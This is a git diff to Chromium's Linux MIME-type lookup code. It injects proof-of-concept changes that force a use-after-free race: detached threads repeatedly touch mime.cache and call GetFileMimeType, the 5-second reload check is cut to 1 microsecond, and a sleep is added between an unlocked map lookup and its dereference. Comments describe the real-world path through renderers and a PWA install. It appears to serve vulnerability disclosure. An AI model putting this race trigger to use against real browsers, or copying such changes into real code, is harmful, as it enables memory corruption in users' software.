diff --git a/base/nix/mime_util_xdg.cc b/base/nix/mime_util_xdg.cc index 36396fd666d25..f956f99177fb2 100644 --- a/base/nix/mime_util_xdg.cc +++ b/base/nix/mime_util_xdg.cc @@ -26,6 +26,12 @@ #include "base/synchronization/lock.h" #endif +// === POC INJECTION: headers for race demonstration === +#include +#include +#include +// === END POC INJECTION === + namespace base::nix { namespace { @@ -253,6 +259,41 @@ std::string GetFileMimeType(const FilePath& filepath) { return map; }()); + // === POC INJECTION: spawn concurrent racers === + // In production, these are: (a) other renderer processes' MimeRegistry + // sequences (each RenderProcessHost gets its own SequencedTaskRunner via + // render_process_host_impl_receiver_bindings.cc:208-212 — N renderers means + // N concurrent ThreadPool workers reaching this function), and (b) PWA + // install running update-mime-database which rewrites mime.cache and + // changes its mtime (web_app_file_handler_registration_linux.cc:135-145, + // triggered by a single click on the install prompt). + // + // We collapse both into background std::threads so the race triggers + // deterministically without needing N actual renderer processes. Each + // racer touches the cache (simulating update-mime-database) then calls + // GetFileMimeType (simulating another renderer's IPC), exactly as would + // happen organically. + static int poc_dummy = []() { + for (int i = 0; i < 4; ++i) { + std::thread([]() { + // Let the first call finish static-initialization of mime_type_map + // before we start racing. + usleep(300000); // 300ms + for (;;) { + // Simulate xdg-mime/update-mime-database changing mtime. + // In the real attack: PWA install with file_handlers manifest entry. + utime("/tmp/poc-xdg-data/mime/mime.cache", nullptr); + // Simulate another renderer's MimeRegistry::GetMimeTypeFromExtension + // landing on a separate ThreadPool worker. + (void)GetFileMimeType(FilePath("foo.odt")); + } + }).detach(); + } + return 0; + }(); + (void)poc_dummy; + // === END POC INJECTION === + // Files never change on ChromeOS, but for linux, match xdgmime behavior and // check every 5s and reload if any files have changed. #if !BUILDFLAG(IS_CHROMEOS) @@ -263,7 +304,12 @@ std::string GetFileMimeType(const FilePath& filepath) { AutoLock scoped_lock(*lock); Time now = Time::Now(); - if (last_check + Seconds(5) < now) { + // === POC INJECTION: remove 5s timing barrier === + // In the real attack, attacker waits for the 5s boundary to be crossed + // between Thread X's check and Thread Y's check. Here we shrink the + // barrier to 1us so we don't have to wait. The race itself is unchanged. + if (last_check + Microseconds(1) < now) { + // === END POC INJECTION (was: Seconds(5)) === if (std::ranges::any_of(*xdg_mime_files, [](const FileInfo& file_info) { File::Info info; return !GetFileInfo(file_info.path, &info) || @@ -279,6 +325,17 @@ std::string GetFileMimeType(const FilePath& filepath) { #endif auto it = mime_type_map->find(ext.substr(1)); + // === POC INJECTION: widen preemption window === + // The lock was released at the closing brace above. The find() and the + // dereference below run with NO lock held. In production, the gap between + // find() returning a valid iterator and the it->second.mime_type access + // is nanoseconds — but preemption here is real (especially under ThreadPool + // contention with N renderers spamming MimeRegistry). When preempted here, + // another thread can take the lock, observe mtime change, and call + // mime_type_map->clear() — which frees the _Rb_tree_node that 'it' points + // to. This sleep makes that natural-but-rare preemption deterministic. + usleep(5000); // 5ms — during this window, a racer thread clears the map + // === END POC INJECTION === return it != mime_type_map->end() ? it->second.mime_type : std::string(); }